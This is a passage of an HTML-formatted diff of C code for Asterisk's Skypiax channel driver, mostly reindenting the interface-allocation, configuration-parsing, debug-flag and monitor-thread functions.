- memset(tmp, 0, sizeof(struct skypiax_pvt));
</del><ins>+        ast_log(LOG_DEBUG, "ENTERING FUNC\n");
+        /* alloc memory for PVT */
+        tmp = malloc(sizeof(struct skypiax_pvt));
+        if (tmp == NULL) {                        /* fail */
+                return NULL;
+        }
+        /* clear memory for PVT */
+        memset(tmp, 0, sizeof(struct skypiax_pvt));
</ins><span class="cx">
</span><del>- /* if we are reading the "first" category of the config file, take SELECTED values as defaults, overriding the values in skypiax_default */
- if (is_first_category == 1) {
- /* for each variable in category, copy it in the skypiax_default struct */
- for (v = ast_variable_browse(cfg, ctg); v; v = v->next) {
- M_START(v->name, v->value);
</del><ins>+        /* if we are reading the "first" category of the config file, take SELECTED values as defaults, overriding the values in skypiax_default */
+        if (is_first_category == 1) {
+                /* for each variable in category, copy it in the skypiax_default struct */
+                for (v = ast_variable_browse(cfg, ctg); v; v = v->next) {
+                        M_START(v->name, v->value);
</ins><span class="cx">
</span><del>- M_STR("context", skypiax_default.context)
- M_STR("language", skypiax_default.language)
- M_STR("extension", skypiax_default.exten)
- M_F("playback_boost",
- skypiax_store_boost(v->value, &skypiax_default.playback_boost))
- M_F("capture_boost",
- skypiax_store_boost(v->value, &skypiax_default.capture_boost))
- M_UINT("skypiax_dir_entry_extension_prefix",
- skypiax_default.skypiax_dir_entry_extension_prefix)
- M_END(;);
- }
- }
</del><ins>+                        M_STR("context", skypiax_default.context)
+                                M_STR("language", skypiax_default.language)
+                                M_STR("extension", skypiax_default.exten)
+                                M_F("playback_boost", skypiax_store_boost(v->value, &skypiax_default.playback_boost))
+                                M_F("capture_boost", skypiax_store_boost(v->value, &skypiax_default.capture_boost))
+                                M_UINT("skypiax_dir_entry_extension_prefix", skypiax_default.skypiax_dir_entry_extension_prefix)
+                                M_END(;
+                                );
+                }
+        }
</ins><span class="cx">
</span><del>- /* initialize the newly created PVT from the skypiax_default values */
- *tmp = skypiax_default;
</del><ins>+        /* initialize the newly created PVT from the skypiax_default values */
+        *tmp = skypiax_default;
</ins><span class="cx">
</span><del>- /* the category name becomes the interface name */
- tmp->name = strdup(ctg);
</del><ins>+        /* the category name becomes the interface name */
+        tmp->name = strdup(ctg);
</ins><span class="cx">
</span><del>- /* for each category in config file, "first" included, read in ALL the values */
- for (v = ast_variable_browse(cfg, ctg); v; v = v->next) {
- M_START(v->name, v->value);
</del><ins>+        /* for each category in config file, "first" included, read in ALL the values */
+        for (v = ast_variable_browse(cfg, ctg); v; v = v->next) {
+                M_START(v->name, v->value);
</ins><span class="cx">
</span><del>- M_BOOL("debug_all", debug_all)
- M_BOOL("debug_at", debug_at)
- M_BOOL("debug_fbus2", debug_fbus2)
- M_BOOL("debug_serial", debug_serial)
- M_BOOL("debug_sound", debug_sound)
- M_BOOL("debug_pbx", debug_pbx)
- M_BOOL("debug_skype", debug_skype)
- M_BOOL("debug_call", debug_call)
- M_BOOL("debug_locks", debug_locks)
- M_BOOL("debug_monitorlocks", debug_monitorlocks)
- M_BOOL("skype", tmp->skype)
- M_STR("context", tmp->context)
- M_STR("language", tmp->language)
- M_STR("extension", tmp->exten)
- M_STR("X11_display", tmp->X11_display)
- M_UINT("tcp_cli_port", tmp->tcp_cli_port)
- M_UINT("tcp_srv_port", tmp->tcp_srv_port)
- M_F("playback_boost", skypiax_store_boost(v->value, &tmp->playback_boost))
- M_F("capture_boost", skypiax_store_boost(v->value, &tmp->capture_boost))
- M_STR("skype_user", tmp->skype_user)
- M_UINT("skypiax_dir_entry_extension_prefix",
- tmp->skypiax_dir_entry_extension_prefix)
- M_END(;);
- }
</del><ins>+                M_BOOL("debug_all", debug_all)
+                        M_BOOL("debug_at", debug_at)
+                        M_BOOL("debug_fbus2", debug_fbus2)
+                        M_BOOL("debug_serial", debug_serial)
+                        M_BOOL("debug_sound", debug_sound)
+                        M_BOOL("debug_pbx", debug_pbx)
+                        M_BOOL("debug_skype", debug_skype)
+                        M_BOOL("debug_call", debug_call)
+                        M_BOOL("debug_locks", debug_locks)
+                        M_BOOL("debug_monitorlocks", debug_monitorlocks)
+                        M_BOOL("skype", tmp->skype)
+                        M_STR("context", tmp->context)
+                        M_STR("language", tmp->language)
+                        M_STR("extension", tmp->exten)
+                        M_STR("X11_display", tmp->X11_display)
+                        M_UINT("tcp_cli_port", tmp->tcp_cli_port)
+                        M_UINT("tcp_srv_port", tmp->tcp_srv_port)
+                        M_F("playback_boost", skypiax_store_boost(v->value, &tmp->playback_boost))
+                        M_F("capture_boost", skypiax_store_boost(v->value, &tmp->capture_boost))
+                        M_STR("skype_user", tmp->skype_user)
+                        M_UINT("skypiax_dir_entry_extension_prefix", tmp->skypiax_dir_entry_extension_prefix)
+                        M_END(;
+                        );
+        }
</ins><span class="cx">
</span><del>- if (debug_all) {
- skypiax_debug = skypiax_debug | DEBUG_ALL;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_ALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_ALL debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_ALL activated. \n", SKYPIAX_TMP_LOG);
- }
- }
</del><ins>+        if (debug_all) {
+                skypiax_debug = skypiax_debug | DEBUG_ALL;
+                if (!option_debug) {
+                        WARNINGA
+                                ("DEBUG_ALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_ALL debugging output.\n",
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA("DEBUG_ALL activated. \n", SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx">
</span><del>- if (debug_fbus2) {
- skypiax_debug = skypiax_debug | DEBUG_FBUS2;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_FBUS2 activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_FBUS2 debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_FBUS2 activated. \n", SKYPIAX_TMP_LOG);
- }
- }
</del><ins>+        if (debug_fbus2) {
+                skypiax_debug = skypiax_debug | DEBUG_FBUS2;
+                if (!option_debug) {
+                        WARNINGA
+                                ("DEBUG_FBUS2 activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_FBUS2 debugging output.\n",
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA("DEBUG_FBUS2 activated. \n", SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx">
</span><del>- if (debug_serial) {
- skypiax_debug = skypiax_debug | DEBUG_SERIAL;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_SERIAL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SERIAL debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_SERIAL activated. \n", SKYPIAX_TMP_LOG);
- }
- }
</del><ins>+        if (debug_serial) {
+                skypiax_debug = skypiax_debug | DEBUG_SERIAL;
+                if (!option_debug) {
+                        WARNINGA
+                                ("DEBUG_SERIAL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SERIAL debugging output.\n",
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA("DEBUG_SERIAL activated. \n", SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx">
</span><del>- if (debug_sound) {
- skypiax_debug = skypiax_debug | DEBUG_SOUND;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_SOUND activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SOUND debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_SOUND activated. \n", SKYPIAX_TMP_LOG);
- }
- }
</del><ins>+        if (debug_sound) {
+                skypiax_debug = skypiax_debug | DEBUG_SOUND;
+                if (!option_debug) {
+                        WARNINGA
+                                ("DEBUG_SOUND activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SOUND debugging output.\n",
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA("DEBUG_SOUND activated. \n", SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx">
</span><del>- if (debug_pbx) {
- skypiax_debug = skypiax_debug | DEBUG_PBX;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_PBX activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_PBX debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_PBX activated. \n", SKYPIAX_TMP_LOG);
- }
- }
</del><ins>+        if (debug_pbx) {
+                skypiax_debug = skypiax_debug | DEBUG_PBX;
+                if (!option_debug) {
+                        WARNINGA
+                                ("DEBUG_PBX activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_PBX debugging output.\n",
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA("DEBUG_PBX activated. \n", SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx">
</span><del>- if (debug_skype) {
- skypiax_debug = skypiax_debug | DEBUG_SKYPE;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_SKYPE activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SKYPE debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_SKYPE activated. \n", SKYPIAX_TMP_LOG);
- }
- }
</del><ins>+        if (debug_skype) {
+                skypiax_debug = skypiax_debug | DEBUG_SKYPE;
+                if (!option_debug) {
+                        WARNINGA
+                                ("DEBUG_SKYPE activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SKYPE debugging output.\n",
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA("DEBUG_SKYPE activated. \n", SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx">
</span><del>- if (debug_call) {
- skypiax_debug = skypiax_debug | DEBUG_CALL;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_CALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_CALL debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_CALL activated. \n", SKYPIAX_TMP_LOG);
- }
- }
</del><ins>+        if (debug_call) {
+                skypiax_debug = skypiax_debug | DEBUG_CALL;
+                if (!option_debug) {
+                        WARNINGA
+                                ("DEBUG_CALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_CALL debugging output.\n",
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA("DEBUG_CALL activated. \n", SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx">
</span><del>- if (debug_locks) {
- skypiax_debug = skypiax_debug | DEBUG_LOCKS;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_LOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_LOCKS debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_LOCKS activated. \n", SKYPIAX_TMP_LOG);
- }
- }
</del><ins>+        if (debug_locks) {
+                skypiax_debug = skypiax_debug | DEBUG_LOCKS;
+                if (!option_debug) {
+                        WARNINGA
+                                ("DEBUG_LOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_LOCKS debugging output.\n",
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA("DEBUG_LOCKS activated. \n", SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx">
</span><del>- if (debug_monitorlocks) {
- skypiax_debug = skypiax_debug | DEBUG_MONITORLOCKS;
- if (!option_debug) {
- WARNINGA
- ("DEBUG_MONITORLOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_MONITORLOCKS debugging output.\n",
- SKYPIAX_TMP_LOG);
- } else {
- NOTICA("DEBUG_MONITORLOCKS activated. \n", SKYPIAX_TMP_LOG);
- }
- }
</del><ins>+        if (debug_monitorlocks) {
+                skypiax_debug = skypiax_debug | DEBUG_MONITORLOCKS;
+                if (!option_debug) {
+                        WARNINGA
+                                ("DEBUG_MONITORLOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_MONITORLOCKS debugging output.\n",
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA("DEBUG_MONITORLOCKS activated. \n", SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx">
</span><del>- if (option_debug > 1) {
- DEBUGA_SOUND("playback_boost is %f\n", SKYPIAX_TMP_LOG, tmp->playback_boost);
- DEBUGA_SOUND("capture_boost is %f\n", SKYPIAX_TMP_LOG, tmp->capture_boost);
- }
</del><ins>+        if (option_debug > 1) {
+                DEBUGA_SOUND("playback_boost is %f\n", SKYPIAX_TMP_LOG, tmp->playback_boost);
+                DEBUGA_SOUND("capture_boost is %f\n", SKYPIAX_TMP_LOG, tmp->capture_boost);
+        }
</ins><span class="cx"> /* initialize the soundcard channels (input and output) used by this interface (a multichannel soundcard can be used by multiple interfaces), optionally starting the sound managing threads */
</span><del>- res = skypiax_sound_init(tmp);
- if (res == -1) {
- ERRORA("Failed initializing sound device\n", SKYPIAX_TMP_LOG);
- /* we failed, free the PVT */
- free(tmp);
- return NULL;
- }
- /*
- res = pipe(tmp->SkypiaxHandles.fdesc);
- if (res) {
- ast_log(LOG_ERROR, "Unable to create skype pipe\n");
- if (option_debug > 10) {
- DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
- }
- free(tmp);
- return NULL;
- }
- fcntl(tmp->SkypiaxHandles.fdesc[0], F_SETFL, O_NONBLOCK);
- fcntl(tmp->SkypiaxHandles.fdesc[1], F_SETFL, O_NONBLOCK);
- */
- tmp->skype_thread = AST_PTHREADT_NULL;
</del><ins>+        res = skypiax_sound_init(tmp);
+        if (res == -1) {
+                ERRORA("Failed initializing sound device\n", SKYPIAX_TMP_LOG);
+                /* we failed, free the PVT */
+                free(tmp);
+                return NULL;
+        }
+        /*
+         res = pipe(tmp->SkypiaxHandles.fdesc);
+         if (res) {
+         ast_log(LOG_ERROR, "Unable to create skype pipe\n");
+         if (option_debug > 10) {
+         DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
+         }
+         free(tmp);
+         return NULL;
+         }
+         fcntl(tmp->SkypiaxHandles.fdesc[0], F_SETFL, O_NONBLOCK);
+         fcntl(tmp->SkypiaxHandles.fdesc[1], F_SETFL, O_NONBLOCK);
+         */
+        tmp->skype_thread = AST_PTHREADT_NULL;
</ins><span class="cx">
</span><del>- if (tmp->skype) {
- ast_log(LOG_DEBUG, "TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n",
- (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP,
- (unsigned long) AST_PTHREADT_NULL);
</del><ins>+        if (tmp->skype) {
+                ast_log(LOG_DEBUG, "TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n",
+                                (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
</ins><span class="cx"> #ifdef __CYGWIN__
</span><del>- if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, tmp) < 0) {
- ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
- free(tmp);
- return NULL;
- }
</del><ins>+                if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, tmp) < 0) {
+                        ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+                        free(tmp);
+                        return NULL;
+                }
</ins><span class="cx"> #else /* __CYGWIN__ */
</span><span class="cx"> #ifdef WANT_SKYPE_X11
</span><del>- ast_log(LOG_DEBUG, "AsteriskHandlesfd: %d\n", tmp->SkypiaxHandles.fdesc[1]);
- if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, tmp) < 0) {
- ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
- free(tmp);
- return NULL;
- }
</del><ins>+                ast_log(LOG_DEBUG, "AsteriskHandlesfd: %d\n", tmp->SkypiaxHandles.fdesc[1]);
+                if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, tmp) < 0) {
+                        ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+                        free(tmp);
+                        return NULL;
+                }
</ins><span class="cx"> #endif /* WANT_SKYPE_X11 */
</span><span class="cx"> #endif /* __CYGWIN__ */
</span><del>- usleep(100000); //0.1 sec
- if (tmp->skype_thread == AST_PTHREADT_NULL) {
- ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
- free(tmp);
- return NULL;
- }
- ast_log(LOG_DEBUG, "STARTED skype_thread=%lu STOP=%lu NULL=%lu\n",
- (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP,
- (unsigned long) AST_PTHREADT_NULL);
- }
</del><ins>+                usleep(100000);                        //0.1 sec
+                if (tmp->skype_thread == AST_PTHREADT_NULL) {
+                        ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+                        free(tmp);
+                        return NULL;
+                }
+                ast_log(LOG_DEBUG, "STARTED skype_thread=%lu STOP=%lu NULL=%lu\n",
+                                (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
+        }
</ins><span class="cx"> #if 0
</span><del>- if (tmp->skype) {
</del><ins>+        if (tmp->skype) {
</ins><span class="cx"> #if 0
</span><del>- if (option_debug > 1)
- ast_log(LOG_DEBUG, "TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n",
- (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP,
- (unsigned long) AST_PTHREADT_NULL);
</del><ins>+                if (option_debug > 1)
+                        ast_log(LOG_DEBUG, "TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n",
+                                        (unsigned long) tmp->skype_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
</ins><span class="cx"> #endif
</span><span class="cx"> #ifdef __CYGWIN__
</span><del>- if (ast_pthread_create
- (&tmp->skype_thread, NULL, do_skypeapi_thread, &tmp->SkypiaxHandles) < 0) {
- ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
- if (option_debug > 10) {
- DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
- }
- free(tmp);
- return NULL;
- }
</del><ins>+                if (ast_pthread_create(&tmp->skype_thread, NULL, do_skypeapi_thread, &tmp->SkypiaxHandles) < 0) {
+                        ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+                        if (option_debug > 10) {
+                                DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
+                        }
+                        free(tmp);
+                        return NULL;
+                }
</ins><span class="cx"> #else /* __CYGWIN__ */
</span><span class="cx"> #ifdef WANT_SKYPE_X11
</span><del>- if (ast_pthread_create(&tmp->signaling_thread, NULL, do_signaling_thread_fnc, tmp) <
- 0) {
- ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
- if (option_debug > 10) {
- DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
- }
- free(tmp);
- return NULL;
- }
</del><ins>+                if (ast_pthread_create(&tmp->signaling_thread, NULL, do_signaling_thread_fnc, tmp) < 0) {
+                        ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+                        if (option_debug > 10) {
+                                DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
+                        }
+                        free(tmp);
+                        return NULL;
+                }
</ins><span class="cx"> #endif /* WANT_SKYPE_X11 */
</span><span class="cx"> #endif /* __CYGWIN__ */
</span><del>- usleep(100000); //0.1 sec
- if (tmp->skype_thread == AST_PTHREADT_NULL) {
- ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
- if (option_debug > 10) {
- DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
- }
- free(tmp);
- return NULL;
- }
- if (option_debug > 1)
- ast_log(LOG_DEBUG, "STARTED signaling_thread=%lu STOP=%lu NULL=%lu\n",
- (unsigned long) tmp->signaling_thread, (unsigned long) AST_PTHREADT_STOP,
- (unsigned long) AST_PTHREADT_NULL);
- }
</del><ins>+                usleep(100000);                        //0.1 sec
+                if (tmp->skype_thread == AST_PTHREADT_NULL) {
+                        ast_log(LOG_ERROR, "Unable to start skype_main thread.\n");
+                        if (option_debug > 10) {
+                                DEBUGA_PBX("EXITING FUNC\n", SKYPIAX_TMP_LOG);
+                        }
+                        free(tmp);
+                        return NULL;
+                }
+                if (option_debug > 1)
+                        ast_log(LOG_DEBUG, "STARTED signaling_thread=%lu STOP=%lu NULL=%lu\n",
+                                        (unsigned long) tmp->signaling_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
+        }
</ins><span class="cx"> #endif
</span><span class="cx">
</span><del>- /* return the newly created skypiax_pvt */
- return tmp;
</del><ins>+        /* return the newly created skypiax_pvt */
+        return tmp;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief (Re)Start the module main monitor thread, watching for incoming calls on the interfaces */
</span><span class="cx"> int skypiax_restart_monitor(void)
</span><span class="cx"> {
</span><del>- static struct skypiax_pvt *p = &skypiax_log_struct;
</del><ins>+        static struct skypiax_pvt *p = &skypiax_log_struct;
</ins><span class="cx">
</span><del>- /* If we're supposed to be stopped -- stay stopped */
- if (skypiax_monitor_thread == AST_PTHREADT_STOP) {
- return 0;
- }
- LOKKA(&skypiax_monlock);
- /* Do not seems possible to me that this function can be called by the very same monitor thread, but let's be paranoid */
- if (skypiax_monitor_thread == pthread_self()) {
- UNLOCKA(&skypiax_monlock);
- ERRORA("Cannot kill myself\n", SKYPIAX_P_LOG);
- return -1;
- }
- /* if the monitor thread exists */
- if (skypiax_monitor_thread != AST_PTHREADT_NULL) {
- /* Wake up the thread, it can be stuck waiting in a select or so */
- pthread_kill(skypiax_monitor_thread, SIGURG);
- } else {
- /* the monitor thread does not exists, start a new monitor */
- if (ast_pthread_create(&skypiax_monitor_thread, NULL, skypiax_do_monitor, NULL) < 0) {
- UNLOCKA(&skypiax_monlock);
- ERRORA("Unable to start monitor thread.\n", SKYPIAX_P_LOG);
- return -1;
- }
- }
- UNLOCKA(&skypiax_monlock);
- return 0;
</del><ins>+        /* If we're supposed to be stopped -- stay stopped */
+        if (skypiax_monitor_thread == AST_PTHREADT_STOP) {
+                return 0;
+        }
+        LOKKA(&skypiax_monlock);
+        /* Do not seems possible to me that this function can be called by the very same monitor thread, but let's be paranoid */
+        if (skypiax_monitor_thread == pthread_self()) {
+                UNLOCKA(&skypiax_monlock);
+                ERRORA("Cannot kill myself\n", SKYPIAX_P_LOG);
+                return -1;
+        }
+        /* if the monitor thread exists */
+        if (skypiax_monitor_thread != AST_PTHREADT_NULL) {
+                /* Wake up the thread, it can be stuck waiting in a select or so */
+                pthread_kill(skypiax_monitor_thread, SIGURG);
+        } else {
+                /* the monitor thread does not exists, start a new monitor */
+                if (ast_pthread_create(&skypiax_monitor_thread, NULL, skypiax_do_monitor, NULL) < 0) {
+                        UNLOCKA(&skypiax_monlock);
+                        ERRORA("Unable to start monitor thread.\n", SKYPIAX_P_LOG);
+                        return -1;
+                }
+        }
+        UNLOCKA(&skypiax_monlock);
+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief The skypiax monitoring thread
</span><span class="lines">@@ -1408,117 +1369,116 @@
</span><span class="cx"> * */
</span><span class="cx"> void *skypiax_do_monitor(void *data)
</span><span class="cx"> {
</span><del>- fd_set rfds;
- int res;
- struct skypiax_pvt *p = NULL;
- int max = -1;
- struct timeval to;
- time_t now_timestamp;
</del><ins>+        fd_set rfds;
+        int res;
+        struct skypiax_pvt *p = NULL;
+        int max = -1;
+        struct timeval to;
+        time_t now_timestamp;
</ins><span class="cx">
</span><del>- if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
- ERRORA("Unable to set cancel type to deferred\n", SKYPIAX_P_LOG);
- return NULL;
- }
</del><ins>+        if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
+                ERRORA("Unable to set cancel type to deferred\n", SKYPIAX_P_LOG);
+                return NULL;
+        }
</ins><span class="cx">
</span><del>- for (;;) {
- pthread_testcancel();
- /* Don't let anybody kill us right away. Nobody should lock the interface list
- and wait for the monitor list, but the other way around is okay. */
- PUSHA_UNLOCKA(&skypiax_monlock);
- MONITORLOKKA(&skypiax_monlock);
- /* Lock the interface list */
- PUSHA_UNLOCKA(&skypiax_iflock);
- MONITORLOKKA(&skypiax_iflock);
- /* Build the stuff we're going to select on, that is the skypiax_serial_fd of every
- skypiax_pvt that does not have an associated owner channel. In the case of FBUS2 3310
- and in the case of PROTOCOL_NO_SERIAL we add the audio_fd as well, because there is not serial signaling of incoming calls */
- FD_ZERO(&rfds);
</del><ins>+        for (;;) {
+                pthread_testcancel();
+                /* Don't let anybody kill us right away. Nobody should lock the interface list
+                 and wait for the monitor list, but the other way around is okay. */
+                PUSHA_UNLOCKA(&skypiax_monlock);
+                MONITORLOKKA(&skypiax_monlock);
+                /* Lock the interface list */
+                PUSHA_UNLOCKA(&skypiax_iflock);
+                MONITORLOKKA(&skypiax_iflock);
+                /* Build the stuff we're going to select on, that is the skypiax_serial_fd of every
+                 skypiax_pvt that does not have an associated owner channel. In the case of FBUS2 3310
+                 and in the case of PROTOCOL_NO_SERIAL we add the audio_fd as well, because there is not serial signaling of incoming calls */
+                FD_ZERO(&rfds);
</ins><span class="cx">
</span><del>- time(&now_timestamp);
- p = skypiax_iflist;
- while (p) {
- if (!p->owner) {
- /* This interface needs to be watched, as it lacks an owner */
</del><ins>+                time(&now_timestamp);
+                p = skypiax_iflist;
+                while (p) {
+                        if (!p->owner) {
+                                /* This interface needs to be watched, as it lacks an owner */
</ins><span class="cx">
</span><del>- if (p->skype) {
- if (FD_ISSET(p->SkypiaxHandles.fdesc[0], &rfds))
- ERRORA("Descriptor %d (SkypiaxHandles.fdesc[0]) appears twice ?\n",
- SKYPIAX_P_LOG, p->SkypiaxHandles.fdesc[0]);
</del><ins>+                                if (p->skype) {
+                                        if (FD_ISSET(p->SkypiaxHandles.fdesc[0], &rfds))
+                                                ERRORA("Descriptor %d (SkypiaxHandles.fdesc[0]) appears twice ?\n", SKYPIAX_P_LOG, p->SkypiaxHandles.fdesc[0]);
</ins><span class="cx">
</span><del>- if (p->SkypiaxHandles.fdesc[0] > 0) {
- FD_SET(p->SkypiaxHandles.fdesc[0], &rfds);
- if (p->SkypiaxHandles.fdesc[0] > max)
- max = p->SkypiaxHandles.fdesc[0];
</del><ins>+                                        if (p->SkypiaxHandles.fdesc[0] > 0) {
+                                                FD_SET(p->SkypiaxHandles.fdesc[0], &rfds);
+                                                if (p->SkypiaxHandles.fdesc[0] > max)
+                                                        max = p->SkypiaxHandles.fdesc[0];
</ins><span class="cx">
</span><del>- }
- }
</del><ins>+                                        }
+                                }
</ins><span class="cx">
</span><del>- }
- /* next interface, please */
- p = p->next;
- }
- /* Okay, now that we know what to do, release the interface lock */
- MONITORUNLOCKA(&skypiax_iflock);
- POPPA_UNLOCKA(&skypiax_iflock);
- /* And from now on, we're okay to be killed, so release the monitor lock as well */
- MONITORUNLOCKA(&skypiax_monlock);
- POPPA_UNLOCKA(&skypiax_monlock);
</del><ins>+                        }
+                        /* next interface, please */
+                        p = p->next;
+                }
+                /* Okay, now that we know what to do, release the interface lock */
+                MONITORUNLOCKA(&skypiax_iflock);
+                POPPA_UNLOCKA(&skypiax_iflock);
+                /* And from now on, we're okay to be killed, so release the monitor lock as well */
+                MONITORUNLOCKA(&skypiax_monlock);
+                POPPA_UNLOCKA(&skypiax_monlock);
</ins><span class="cx">
</span><del>- /* you want me to die? */
- pthread_testcancel();
</del><ins>+                /* you want me to die? */
+                pthread_testcancel();
</ins><span class="cx">
</span><del>- /* Wait for something to happen */
- to.tv_sec = 0;
- to.tv_usec = 500000; /* we select with this timeout because under cygwin we avoid the signal usage, so there is no way to end the thread if it is stuck waiting for select */
- res = ast_select(max + 1, &rfds, NULL, NULL, &to);
</del><ins>+                /* Wait for something to happen */
+                to.tv_sec = 0;
+                to.tv_usec = 500000;        /* we select with this timeout because under cygwin we avoid the signal usage, so there is no way to end the thread if it is stuck waiting for select */
+                res = ast_select(max + 1, &rfds, NULL, NULL, &to);
</ins><span class="cx">
</span><del>- /* you want me to die? */
- pthread_testcancel();
